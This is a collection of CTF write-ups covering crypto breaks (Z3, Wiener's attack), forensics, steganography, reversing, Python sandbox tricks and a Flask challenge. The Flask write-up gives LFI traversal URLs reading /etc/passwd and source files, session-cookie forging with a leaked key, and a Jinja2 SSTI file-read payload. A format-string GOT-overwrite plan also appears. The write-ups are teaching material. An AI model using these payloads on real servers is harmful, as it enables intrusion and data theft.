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# My simple cipher (crypto)
In the task we get a simple encryption code:
```pythonimport sysimport random
key = sys.argv[1]flag = '**CENSORED**'
assert len(key) == 13assert max([ord(char) for char in key]) < 128assert max([ord(char) for char in flag]) < 128
message = flag + "|" + key
encrypted = chr(random.randint(0, 128))
for i in range(0, len(message)): encrypted += chr((ord(message[i]) + ord(key[i % len(key)]) + ord(encrypted[i])) % 128)
print(encrypted.encode('hex'))```
And resulting ciphertext: `7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e`
We know that bytes of key and flag are < 128 and we of course know that the flag starts with `TWCTF{`.It's clear that this can be inverted by hand, but we're too lazy for that and we simply used the code to generate constraints on the parameter and asked Z3 for the flag.
We know constraints:
- flag and key are < 128 and >= 0- flag starts with `TWCTF{`- one character is `|`
On top of that we can run the code and generate constraints on the way directly from encryption code:
```pythondef read_data(): return "7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e".decode("hex")
def decryptor(): data = read_data() s = z3.Solver() flag = [z3.Int("flag_" + str(i)) for i in range(len(data) - 15)] key = [z3.Int("key_" + str(i)) for i in range(13)] pipe = z3.Int("pipe") s.add(pipe == ord("|")) for var in flag: s.add(var < 128) s.add(var >= 0) for i, c in enumerate("TWCTF{"): s.add(flag[i] == ord(c)) for var in key: s.add(var < 128) s.add(var >= 0) message = flag + [pipe] + key for i in range(1, len(data)): index = i - 1 byte = ord(data[i]) s.add((message[index] + key[index % 13] + ord(data[index])) % 128 == byte) print(s.check()) print(s.model()) print("".join([chr(int(str(s.model()[var]))) for var in message]))```
Which gives us `TWCTF{Crypto-is-fun!}|ENJ0YHOLIDAY!` |
# RHME3 prequal challenge
This one is a bit of an exception as it's not a whitebox but a side-channel challenge, but we can solve it with the help of Daredevil.
One of the prequal challenges of the RHME3 CTF was a set of power traces. Ref: https://rhme.riscure.com/3/
Components----------
* `target` contains the original challenge.* `DPA` contains the DPA attack against this challenge.
Other write-ups---------------
* using Jlsca * https://github.com/ResultsMayVary/ctf/tree/master/RHME3/tracing * https://github.com/x8-999-github/cw-projects-experiments/blob/master/tracing_the_traces/tracing_the_traces_jlsca.ipynb * https://gist.github.com/dqi/88c86e484fc9302694837810680d2023* using Chipwhisperer * https://github.com/x8-999-github/cw-projects-experiments/blob/master/tracing_the_traces/tracing_the_traces_cw.ipynb * https://govanify.com/post/rhme3-quals-ctf/* using no specific SCA tool * https://gist.github.com/DavidBuchanan314/c6d4c529e307277d13ce17bcc39726fc * https://github.com/pakesson/ctf/blob/master/RHme3/qualifiers/tracing_the_traces/python_sca_notebook.ipynb* See also https://ctftime.org/task/4527 |
# We got paged out, mr president! (forensic, misc, 973p)
> We got some important data paged out.> Can you recover it?
> pagefile.sys.gz
> Hints:
> The first key is named 'ct', the second one - 'fz'. Find out the remaining keys.
This was an exercise in good Linux-fu. The file we had was 1GB large, so impossible to search by hand. Given the hint, we could deduce though that there should be `ct` and `fz` strings somewhere.Since `ct` is pretty common digraph (`action`, `direct`, and others), we decided to look for far rarer `fz`. Since thiswas a Windows dump, we searched for UTF-16 strings. And... done:```bashλ strings -e l pagefile.sys | grep fzComputer\HKEY_LOCAL_MACHINE\SOFTWARE\ct\fz\one\{\r3g_\h4x\0r}```
The flag is `ctfzone{r3g_h4x0r}` |
# MPRSA (crypto)
## ENG[PL](#pl-version)
In the task we get [RSA public key components](public.txt), [encrypted flag](data.enc) and [source code](mprsa.py) used for encryption.The code contains a classic multiprime RSA implementation, with an interesting key generation code:
```pythondef key_gen(self, bits, prime_numbers=4): delta = randint(5, 15) bit_prime = int(bits // prime_numbers)
P = [next_prime(number.getPrime(bit_prime) + 1)] for i in range(1, prime_numbers): P.append(next_prime(P[i - 1] * delta))
n = self.__compute_module(P) phi = self.__compute_phi(P)
for d_next in count(int(pow(P[0] // 2, 0.5)), -1): g, e, __ = gcdext(d_next, phi) if (1 < e < n) and (g == 1) and (gcd(phi, e) == 1): d = d_next break
self.public_key = (e, n) self.secret_key = (d, n)```
The initiall issue we noticed with this code, is that modulus `n` is composed of strongly non-random primes, since `.next_prime` is deterministic and `delta` multiplier is very small.We've seen some writeups for this task which attacked this vector.
Nevertheless, we have a bit of experience already with attacks on RSA and we've noticed one other interesting fact here:
```pythonfor d_next in count(int(pow(P[0] // 2, 0.5)), -1):```
Private key exponents starts from `sqrt(p1/2)` and we know that p1 is the smallest of the primes in `n` and they are of similar size, therefore `p1` is smaller than `n^(1/4)`.
And we know that if `d < 1/3 n^(1/4)` then we can use Wiener's attack to recover the private exponent.It's clear that we are lucky and we can recover the key with a bit of sage:
```pythone = 2968282037100353640375137899109790499983904510372252123726372200136866453960017151334469454219618530252326391316368089337062513360207381202191915473462935477137523455963250056561696664667826520897145326882242932509636924316993816382503962649302107865422204292490659961123103322081852240437978613121365781016988448211321349469941008479597808471102164820173139919110860676464533506147455712945961147297193425603466185665772219928497258618754492859488589873906043003885893571962433509510568617898956135134801893952671289895841202079907023382879176353447845431980339763701845065932967492613174149948295178658632744337984598033199716909609691917091599333032421515584590767434316739374277008976624091929263313294017958203501962609986428734553144207841375915976037349385525685765751825435583700725710652618107250634373424713513298201017768173878869803169781015337283490319756398578109078482368725206020186761161884650413182297877151106135232838271785994275915310662858329477083914589917431343036266926436535406078268574331773960697696088892795445640924833807153106889785640164637689271399503064510417142492169690916011945805675154490404590528925067599406358567902459063109040410209462273031696409389388590120586013927889551821936657759836121166591n = 7514486184413883943206134802309178399244378977612173666918494750761691891054947551148635071227769468578429057411933207521812645312852372491525360936618326543031520002708891330196401800722400435500157085990690437665009726219084442021182850506847121543952655588437818213790488615953323918596261471907835421407596459273791581399309405067626383928217548743866594178747621345881632069955681378662964970779524097614470204109881600043967504127490912520547758072473768719527077924134830122844355992675524808082077564650441063165395654489609498673176326527753016138066814814395200582603579511246113422000711435941608107654792503944786693356696589418688102700165482722623897706829970814110646089600275631212777003792683291735426294012686607809533096193939103941428766195023630255837719510277444701463006437791991196936648896229397094403915485049521731674097516242423233615004601202795680477677383876821794953563585797462940468885019612996080647173400509657498552114237186425176692867162493697752241051962151120715653607272964311445754089586884116532125369172407750688737448422035240971409748803419916890500367552066268915926436633178471526464741419410486387714614840372951024874043659727111073041432865136565615528171567027369016567760790667844170057
c_fracs = continued_fraction(e/n).convergents()test_message = 42test_message_encrypted = pow(test_message,e,n)d = 0for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() breakprint(d)```
And with `d` we can simply decode the flag:
```pythonfrom crypto_commons.generic import long_to_bytes
def main(): n = 7514486184413883943206134802309178399244378977612173666918494750761691891054947551148635071227769468578429057411933207521812645312852372491525360936618326543031520002708891330196401800722400435500157085990690437665009726219084442021182850506847121543952655588437818213790488615953323918596261471907835421407596459273791581399309405067626383928217548743866594178747621345881632069955681378662964970779524097614470204109881600043967504127490912520547758072473768719527077924134830122844355992675524808082077564650441063165395654489609498673176326527753016138066814814395200582603579511246113422000711435941608107654792503944786693356696589418688102700165482722623897706829970814110646089600275631212777003792683291735426294012686607809533096193939103941428766195023630255837719510277444701463006437791991196936648896229397094403915485049521731674097516242423233615004601202795680477677383876821794953563585797462940468885019612996080647173400509657498552114237186425176692867162493697752241051962151120715653607272964311445754089586884116532125369172407750688737448422035240971409748803419916890500367552066268915926436633178471526464741419410486387714614840372951024874043659727111073041432865136565615528171567027369016567760790667844170057 d = 9427062506559859200764441560060897853452091503537282553799991491531587159716894888858396729480853980609608783434755632459538177527336880678476984732352511 ct = 4990981759460304744105598767593686181405870005282225829795794541021226151966053079510943795109726609634828370167775307839662644021918767556530119412853816585221569546843939870445288438295880322602517246037112564416212745954141726471664361647045729235670622890953655065235230427298013906810014221648290750692583336186843003229107021202513937560627163229698907224982160099413064560450430189221548918249561722797270239205285019947483419790983776163671611001827036804081081707549809205146146016914228431689911951835061650007130105435596899572248580145216361550470379538250892374083206633208114199207657470199269462010122511529769658733474277302308656490658251694852119519651331026206905848184310474442594518003923697214854504891077728222935182875777284193900483103844390422979429620136337089544700764854729601666550485708645758202313582038929079609869996469534041940940326632417337431671554125949585769777514656385405640728690453834779703498214246941789126527089991023766694976273980553865664242840580534044580685023115108182135139502041838131616984809782973256326815445038141870218251128685050551152554710812132312358766591390023888015234480632150114384947814031965110524912964541892010650475016456100706107619225121444952046171313017830946278 print(long_to_bytes(pow(ct, d, n)))main()```
And we get:
```Mr.D (12:10):Okey, see you later ;)
Mr.D (19:30):So can you help me?
Anonymous (19:31):Yeah, we will have 10,000 falsified voters. Transfer 100000$ to my bank account: ctfzone{3177809746931830}```
## PL version
W zadaniu dostajemy [klucz publiczny RSA](public.txt), [zaszyfrowaną flagę](data.enc) oraz [kod szyfrowania](mprsa.py) wykorzystany do szyfrowania danych.Kod zawira klasyczną implementacje RSA opartego o wiele liczb pierwszych, z dość ciekawą logiką generacji klucza:
```pythondef key_gen(self, bits, prime_numbers=4): delta = randint(5, 15) bit_prime = int(bits // prime_numbers)
P = [next_prime(number.getPrime(bit_prime) + 1)] for i in range(1, prime_numbers): P.append(next_prime(P[i - 1] * delta))
n = self.__compute_module(P) phi = self.__compute_phi(P)
for d_next in count(int(pow(P[0] // 2, 0.5)), -1): g, e, __ = gcdext(d_next, phi) if (1 < e < n) and (g == 1) and (gcd(phi, e) == 1): d = d_next break
self.public_key = (e, n) self.secret_key = (d, n)```
Pierwszą podatnością, którą zauważyliśmy w tym kodzie był sposób wyliczania modulusa `n`, który składa się z mocno nie-losowych liczb pierwszych, bo `.next_prime` jest deterministyczne a `delta` jest dość niewielka.Widzieliśmy writeupy które atakowały zadanie zgodnie z tym wektorem.
Niemniej mamy już trochę doświadczenia z atakami na RSA i zauważyliśmy inną ciekawostkę w kodzie:
```pythonfor d_next in count(int(pow(P[0] // 2, 0.5)), -1):```
Prywatny wykładnik szyfrujący zaczyna się od `sqrt(p1/2)` a wiemy że p1 jest najmniejszym czynnikiem pierwszym w `n` i że czynniki są zbliżonego rozmiaru, więc `p1` musi być mniejsze od `n^(1/4)`.
Wiemy też że jeśli `d < 1/3 n^(1/4)` to możemy użyć ataku Wienera aby odzyskać prywatny wykładnik szyfrujący.Jak widać mamy szczęście i możemy użyc prostego skryptu sage:
```pythone = 2968282037100353640375137899109790499983904510372252123726372200136866453960017151334469454219618530252326391316368089337062513360207381202191915473462935477137523455963250056561696664667826520897145326882242932509636924316993816382503962649302107865422204292490659961123103322081852240437978613121365781016988448211321349469941008479597808471102164820173139919110860676464533506147455712945961147297193425603466185665772219928497258618754492859488589873906043003885893571962433509510568617898956135134801893952671289895841202079907023382879176353447845431980339763701845065932967492613174149948295178658632744337984598033199716909609691917091599333032421515584590767434316739374277008976624091929263313294017958203501962609986428734553144207841375915976037349385525685765751825435583700725710652618107250634373424713513298201017768173878869803169781015337283490319756398578109078482368725206020186761161884650413182297877151106135232838271785994275915310662858329477083914589917431343036266926436535406078268574331773960697696088892795445640924833807153106889785640164637689271399503064510417142492169690916011945805675154490404590528925067599406358567902459063109040410209462273031696409389388590120586013927889551821936657759836121166591n = 7514486184413883943206134802309178399244378977612173666918494750761691891054947551148635071227769468578429057411933207521812645312852372491525360936618326543031520002708891330196401800722400435500157085990690437665009726219084442021182850506847121543952655588437818213790488615953323918596261471907835421407596459273791581399309405067626383928217548743866594178747621345881632069955681378662964970779524097614470204109881600043967504127490912520547758072473768719527077924134830122844355992675524808082077564650441063165395654489609498673176326527753016138066814814395200582603579511246113422000711435941608107654792503944786693356696589418688102700165482722623897706829970814110646089600275631212777003792683291735426294012686607809533096193939103941428766195023630255837719510277444701463006437791991196936648896229397094403915485049521731674097516242423233615004601202795680477677383876821794953563585797462940468885019612996080647173400509657498552114237186425176692867162493697752241051962151120715653607272964311445754089586884116532125369172407750688737448422035240971409748803419916890500367552066268915926436633178471526464741419410486387714614840372951024874043659727111073041432865136565615528171567027369016567760790667844170057
c_fracs = continued_fraction(e/n).convergents()test_message = 42test_message_encrypted = pow(test_message,e,n)d = 0for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() breakprint(d)```
I teraz mając już `d` możemy odszyfrować dane:
```pythonfrom crypto_commons.generic import long_to_bytes
def main(): n = 7514486184413883943206134802309178399244378977612173666918494750761691891054947551148635071227769468578429057411933207521812645312852372491525360936618326543031520002708891330196401800722400435500157085990690437665009726219084442021182850506847121543952655588437818213790488615953323918596261471907835421407596459273791581399309405067626383928217548743866594178747621345881632069955681378662964970779524097614470204109881600043967504127490912520547758072473768719527077924134830122844355992675524808082077564650441063165395654489609498673176326527753016138066814814395200582603579511246113422000711435941608107654792503944786693356696589418688102700165482722623897706829970814110646089600275631212777003792683291735426294012686607809533096193939103941428766195023630255837719510277444701463006437791991196936648896229397094403915485049521731674097516242423233615004601202795680477677383876821794953563585797462940468885019612996080647173400509657498552114237186425176692867162493697752241051962151120715653607272964311445754089586884116532125369172407750688737448422035240971409748803419916890500367552066268915926436633178471526464741419410486387714614840372951024874043659727111073041432865136565615528171567027369016567760790667844170057 d = 9427062506559859200764441560060897853452091503537282553799991491531587159716894888858396729480853980609608783434755632459538177527336880678476984732352511 ct = 4990981759460304744105598767593686181405870005282225829795794541021226151966053079510943795109726609634828370167775307839662644021918767556530119412853816585221569546843939870445288438295880322602517246037112564416212745954141726471664361647045729235670622890953655065235230427298013906810014221648290750692583336186843003229107021202513937560627163229698907224982160099413064560450430189221548918249561722797270239205285019947483419790983776163671611001827036804081081707549809205146146016914228431689911951835061650007130105435596899572248580145216361550470379538250892374083206633208114199207657470199269462010122511529769658733474277302308656490658251694852119519651331026206905848184310474442594518003923697214854504891077728222935182875777284193900483103844390422979429620136337089544700764854729601666550485708645758202313582038929079609869996469534041940940326632417337431671554125949585769777514656385405640728690453834779703498214246941789126527089991023766694976273980553865664242840580534044580685023115108182135139502041838131616984809782973256326815445038141870218251128685050551152554710812132312358766591390023888015234480632150114384947814031965110524912964541892010650475016456100706107619225121444952046171313017830946278 print(long_to_bytes(pow(ct, d, n)))main()```
I dostajemy:
```Mr.D (12:10):Okey, see you later ;)
Mr.D (19:30):So can you help me?
Anonymous (19:31):Yeah, we will have 10,000 falsified voters. Transfer 100000$ to my bank account: ctfzone{3177809746931830}``` |
# Private Local Comment (ppc)
In this PPC task we have 3 levels of Python challenges where we need to extract some data in unusual way.There is sandbox around all of the tasks so we can't spawn a shell or do anything like that, we need to use legit python code.
### Private
Here we have code:
```pythonimport sysfrom restrict import Restrict
r = Restrict()# r.set_timeout()
class Private: def __init__(self): pass
def __flag(self): return "TWCTF{CENSORED}"
p = Private()Private = None
d = sys.stdin.read()assert d is not Noneassert "Private" not in d, "Private found!"d = d[:24]
r.seccomp()
print eval(d)```
So we have only instance of the class and we need to call a private method to get the flag.This is trivial for anyone who knows python at least a little bit, or know how to use `dir()`.In Python there is no such thing as "private" really, the prefix `__` only causes the interpreter to rewrite the method name to `classname__methodname` so in our case `Private__flag`.There is still the second check, so we can't use `Private` in our input and we have only 24 character to use, so we can't play around with extracting the class name from object.
As I mentioned, the `dir()` functions is useful here, it returns list of fields and methods of the objects, and in our case `dir(p)[0]` will return the name of method we want.Now we need some reflection to call the method from the string name, and we can use `getattr` for this.The solution finally is: `getattr(p,dir(p)[0])()` and we get flag `TWCTF{__private is not private}`
### Local
This time we get:
```pythonimport sysfrom restrict import Restrict
r = Restrict()# r.set_timeout()
def get_flag(x): flag = "TWCTF{CENSORED}" return x
d = sys.stdin.read()assert d is not Noned = d[:30]
r.seccomp()
print eval(d)```
This time we need to extract value of local variable defined in a function.People with some experience in refection in python will know that you can actually construct functions in the code just like any objects, and you can also decostruct them, because they are simply objects like any other.Each function has property `func_code` which contains details about the code of the function.There we can find `co_const` property, which stores list of constant used in the function, just like our flag.
So we can simply send: `get_flag.func_code.co_consts` to recover the flag ` TWCTF{func_code is useful for metaprogramming}`
### Comment
In the last taks we have code:
```pythonimport sysfrom restrict import Restrict
r = Restrict()# r.set_timeout()
d = sys.stdin.read()assert d is not Noned = d[:20]
import comment_flagr.seccomp()
print eval(d)```
and the imported `comment_flag` module is:
```python'''Welcome to unreadable area!FLAG is TWCTF{CENSORED}'''```
The trick here is that the comment defined at the very top of the module is actually treated by python as module documentation docstring.As such it can be accessed via `__doc__` property of the module, so by sending `comment_flag.__doc__` we can recover the last flag: `TWCTF{very simple docstring}` |
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### vulnerability1) admin action passes arbitrary `read` string to printf => format string exploit, gives arbitrary write2) checks that all characters up to `strlen(input) + 1` are lower case, but strlen result is cast to 8 bit integer => using string of length 255 overflows to 255 + 1 = 0 for int8 ### exploit
Binary already has hidden function that executes `system("/bin/cat ./flag")` --> use format string attack to override puts GOT entry with address of that function (0x00400876)
See original writeup for details. |
```from PIL import Imageimport reimg = Image.open("Secret.png") pixels, mode = list(img.getdata()), img.modebits=""for index in xrange(len(pixels)): bits += "1" if pixels[index][index%len(mode)] % 2 == 1 else "0"
m = re.search("1100110011001100(.*)01010101000000000101010100000000", bits) print "".join([chr(int(code, 2)) for code in re.findall(".{8}", m.group(1))])
flag:d4rk{345y_LSB}c0de``` |
# "Golem is stupid!", Web 41pts
## Problem
## Solution
That was a really interesting challenge where exploitation of LFI (Local File Inclusion) leads to SSTI (Server Side Template Injection) in Flask web application.
Here's my step-by-step writeup - how I get the flag.
### First recon
When we get to the provided URL https://golem.asisctf.com/ only thing we could see was simple form with one text input:
After we filled it with our username, we were moved into the next, personalized "welcome screen" (also a cookie named ```session``` was set at this moment):
After clicking the link, we were presented an article about Golem:
That was pretty all.
The first thing which was worth to take a look at was an url, which looks like a good point to check against LFI (Local File Include). After couple of tries, I was able to confirm my theory with very simple payload:
```https://golem.asisctf.com/article?name=../../../etc/passwd```
...which leads me to, looking very familiar, output:
Ok, we've got LFI, but what actually we can do with this?
### Exploiting LFI to get application source code
There are some interesting things we can do on Linux machine with LFI like this. We can try several steps: obviouos ones like read ```/etc/passwd```, try to read server logs from ```/var/log```, web server configuration from ```/etc/apache2```, files from ```/etc```, ```/home```, or ```/proc``` directories and so on.
You can find many more stuff like this in this brilliant post by @g0tmi1k (https://twitter.com/g0tmi1k):
http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
```/proc``` is very interesting, because we can get a lot of information about current process (web server in this case) or any other process if we are able to obtain its PID.
So I've started from read ```/proc/self/cmdline``` file (it contains command which was used to run current process):
```https://golem.asisctf.com/article?name=../../../proc/self/cmdline ```
We've got an information about that what we are currently looking at, is Python WSGI application:
```Article Content: /usr/bin/uwsgi--ini/usr/share/uwsgi/conf/default.ini--ini/etc/uwsgi/apps-enabled/golem_proj.ini--daemonize/var/log/uwsgi/app/golem_proj.log```
Let's try to find out some more details by investigating ```/etc/uwsgi/apps-enabled/golem_proj.ini``` part of above command:
```https://golem.asisctf.com/article?name=../../../etc/uwsgi/apps-enabled/golem_proj.ini```
Boom! Now we have exact path to Python application source (look at ```wsgi-file``` below):
```Article Content: [uwsgi] socket = 127.0.0.1:9090 plugin = python wsgi-file = /opt/serverPython/golem/server.py chdir = /opt/serverPython/golem process = 3 callable = app```
Let's get the source:
```https://golem.asisctf.com/article?name=../../../opt/serverPython/golem/server.py```
And here we go:
Here's formatted Python source code of ```server.py```:
```pythonimport os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string)from flask.ext.session import Session
app = Flask(__name__)
execfile('flag.py')execfile('key.py')
FLAG = flagapp.secret_key = key
@app.route("/golem", methods=["GET", "POST"])def golem(): if request.method != "POST": return redirect(url_for("index"))
golem = request.form.get("golem") or None
if golem is not None: golem = golem.replace(".", "").replace( "_", "").replace("{", "").replace("}", "")
if "golem" not in session or session['golem'] is None: session['golem'] = golem
template = None
if session['golem'] is not None: template = '''{% % extends "layout.html" % %} {% % block body % %} <h1 > Golem Name < /h1 > <div class ="row > <div class = "col-md-6 col-md-offset-3 center" > Hello: % s, why you don't look at our article < /a >? < / div > < / div > {% % endblock % %} ''' % session['golem']
print
session['golem'] = None
return render_template_string(template)
@app.route("/", methods=["GET"])def index(): return render_template("main.html")
@app.route('/article', methods=['GET'])def article():
error = 0
if 'name' in request.args: page = request.args.get('name') else: page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try: template = open('/home/golem/articles/{}'.format(page)).read() except Exception as e: template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)
```
Let's take a look at it a little bit closer.
### Digging into server.py source code
First thing we can spot are two files executed at the beginning:
```pythonexecfile('flag.py')execfile('key.py')
FLAG = flagapp.secret_key = key```
Obviously, trying to read ```flag.py``` with LFI failed due to condition which can be found in the code:
```python if 'name' in request.args: page = request.args.get('name') else: page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'```
Great. So LFI on ```flag.py``` was not the challenge expected solution. We had to **try harder** :)
Anyway, we can read content of ```key.py```:
```https://golem.asisctf.com/article?name=../../../opt/serverPython/golem/key.py```
That returns interesting string, which is assigned to ```app.secret_key``` in the code:
(_Spoiler: No, this is not the flag either, even if it looks like one_ ;) )
What this string is used for, you can read in Flask manual (in part about session handling). In general, session secret key is used to encrypt content of the session variables. If we know secret key, we can spoof session cookie content.
But how it could be used in Golem application?
Take a look at this part of the code:
```python golem = request.form.get("golem") or None
if golem is not None: golem = golem.replace(".", "").replace( "_", "").replace("{", "").replace("}", "")
if "golem" not in session or session['golem'] is None: session['golem'] = golem```
Cleaning up ```POST``` variable ```golem``` from ```{```, ```}``` ,```_``` and ```.``` means we couldn't use it to perform Template Injection attack in template generates later (```{``` and ```}``` are used to evaluate expressions in template variables):
```python
if session['golem'] is not None: template = '''{% % extends "layout.html" % %} {% % block body % %} <h1 > Golem Name < /h1 > <div class ="row > <div class = "col-md-6 col-md-offset-3 center" > Hello: % s, why you don't look at our article < /a >? < / div > < / div > {% % endblock % %} ''' % session['golem']
print
session['golem'] = None
return render_template_string(template)
```
But there is one detail which seems to be Golem developers' oversight: **value of ```golem``` read from session cookie is not sanitized and if it's not null, it's used in template instead of value passed by POST from the form.**
So here we found our injection point. What I had to do was simply to craft session cookie value which contains SSTI (Server Side Template Injection) payload as our username passed as value of ```golem```.
You can read more about how to exploit such vulnerability in Flask templates in this detailed writeup by @nVisium:
https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/
### Building SSTI payload
To be able to generate session cookie with hijacked session key, I've prepared very simple Flask application:
```pythonfrom flask import ( Flask, session)from flask.ext.session import Session
app = Flask(__name__)app.secret_key = "7h15_5h0uld_b3_r34lly_53cur3d"
@app.route('/')def hello_world(): session["golem"] = "[HERE GOES OUR PAYLOAD]"
print session return session["golem"]
```
This simple script just outputs in console ready to use session cookie, which value is our payload.
Following the second part on @nVisium blog (https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/) I've prepared payload which simply prints the content of ```flag.py``` file:
```python"{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}" ```
Running script locally gave me session cookie string I could copy and paste as session cookie in ```Golem``` app:
After I've pasted this string in ```Golem``` app and move forward with some fake username put in the input finally I was able to read the flag:
The flag:
```Hello : flag = 'ASIS{I_l0v3_SerV3r_S1d3_T3mplate_1nj3ct1on!!}' , why you don't look at our article?
```
It was really interesting challenge, which forced me to:
- learn some new stuff about Flask and how it handles sessions- how to perform SSTI injection in Flask templates- how to use LFI to get details about running processes
That's why time and effort put into participating in online CTF events like ASIS CTF 2017 is always a good idea for anyone dealing with IT Security topics. If you feel this is something you want to give a try - CTFtime.org website is a good place to start!
### References
Very good article about SSTI in various template engines: **Server-Side Template Injection** by James Kettle from PortSwigger (https://twitter.com/albinowax):
http://blog.portswigger.net/2015/08/server-side-template-injection.html
|
# ABC - Reverseing - 73 points - 70 solvers
> Start [Reverse](./abc_b96c97d1229d3275cc9ee51f6b2b3d7c5be36446)
Loaded the binary up in IDA and decompiled - program seems simple enough, it expects a 12 character string as the password, then applies the function at `0x4024DF` to the four first, middle six, and four last characters.
What does the `0x4024DF` function do? It seems to be some form of cryptographic function judging from the tons of XOR and rotations being done. One trick when examining such a function is to simply Google any suspicious "magic" numbers. And sure enough, Google shows that the number `0xC3D2E1F0` is used in the [SHA-1](https://en.wikipedia.org/wiki/SHA-1) hash function. The hash of the middle six characters is also compared to a 20-byte string, which matches the hash length of SHA-1.
The string `69fc8b9b1cdfe47e6b51a6804fc1dbddba1ea1d9` is the hash of the middle six characters. We assume that they all are printable, so let's fire up [Hashcat](https://hashcat.net/hashcat/):
hashcat64 -m 100 -a 3 69fc8b9b1cdfe47e6b51a6804fc1dbddba1ea1d9 ?a?a?a?a?a?a After a few minutes, the hash is cracked: `9:-*)b`
The hashes of the first and last four characters aren't compared to a stored hash, however - they are compared to themselves. Basically, `hex(sha1("0123")) == "0123...................................."`. We write a quick brute force program that finds strings that match themselves, and it finds there are only two such strings: `57d9` and `b53a`. Since the four-character sections overlaps with the six-character one, we know which one will fit where, and get the final password: `57d9:-*)b53a`. Putting this into the program gives the final flag (Which is just the SHA-1 hash of the password): `ASIS{477408a4d4ad68aa7abdfd2be0e4717154497c42}` |
### **This message was intercepted between two well known hackers in 1999. No one has been able to decrypt it since then. Can you do it?**
Upon playing the attached audio file, we hear a series of touchtones on a keypad. After some searching, i found that this is DTMF (dial tone multi frequency) file. Using an [online dtmf decoder](http://dialabc.com/sound/detect/), i decoded the dialtones into their respective numbers.We get this:```44488933999344555777744345333777744662555555355333222444```
Now, i opened the file in Audacity and found the positions of gaps in the audio files, indicating a pause.Finally, after inserting the spaces in the right positions, we get```444 88 9 33 999 3 44 55 5 7777 44 3 4 5 333 7777 44 66 2 555 5 55 3 55 333 222 444```Now, simply typing out the above sequence on a 1990s keypad yields the flag:```iuweydhkjshdgjfshnaljkdkfci``` |
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# Dig Dug - Web - 29 points - 243 solvers
> The pot calling the [kettle](https://digx.asisctf.com/) black.
Visiting the website in the description shows us a pretty picture and the quote "If you want to know what is dig, you should consider that dig stands for domain information groper." This refers to the [dig](https://linux.die.net/man/1/dig) Unix tool, which lets you see various DNS properties for a domain.
We run `dig digx.asisctf.com` but don't see anything interesting.
;; ANSWER SECTION: digx.asisctf.com. 300 IN A 192.81.223.250
But the challenge is called dig**x**, so we try the reverse DNS lookup option `dig -x 192.81.223.250`
;; ANSWER SECTION: 250.223.81.192.in-addr.arpa. 1800 IN PTR airplane.asisctf.com.
Hmm. Another website on the same IP. We visit the site, and get the text "hi all, you should go offline to get the flag... Enable Airplane Mode". We do as the instructions tells us, visiting `airplane.asisctf.com` via our phone, then enable airplane mode on the phone. And sure enough, this gives us a flag! `ASIS{_just_Go_Offline_When_you_want_to_be_creative_!}` |
# SHA2017 CTF - Network challenge (Network attack)
_Small print: I solved this challenge for the OpenToAll CTF team._
Opening the PCAP with Wireshark and looking at the Protocol Hierarchy, we see that the full PCAP is GSM over IP protocol.
Selecting these GSM IPA packets and following the stream we see that it's just good old HTTP traffic, which we can easily handle.
Looking at the first HTTP GET requests and responses gives us this:```GET /?action=search&words=kl&sort=stock HTTP/1.1<snip>
HTTP/1.1 302 FOUND<snip>Location: http://10.5.5.208:5000/?action=display&what=ce3926706794d911
GET /?action=display&what=ce3926706794d911 HTTP/1.1<snip>
GET /?action=search&words=Trad&sort=stock HTTP/1.1<snip>
HTTP/1.1 302 FOUND<snip>Location: http://10.5.5.208:5000/?action=display&what=f1274d671988ce151a0b
GET /?action=display&what=f1274d671988ce151a0b HTTP/1.1<snip>
HTTP/1.1 200 OK<snip>............................. shows only the Traditional klomp.....
GET /?action=search&words=-Trad&sort=stock HTTP/1.1<snip>
HTTP/1.1 200 OK<snip>Please use only letters and digits
GET /?action=search&words=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sort=stock HTTP/1.1<snip>
HTTP/1.1 302 FOUND<snip>Location: http://10.5.5.208:5000/?action=display&what=e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a7479d5e95af4796e7573a65e6849952032e4146d4252bafb3b38212df186497a74799edb6fda5b44```
So we see some HTTP requests to filter the results (action=search) and a redirect (action=display) with a cryptic "what" parameter to go to the results page.
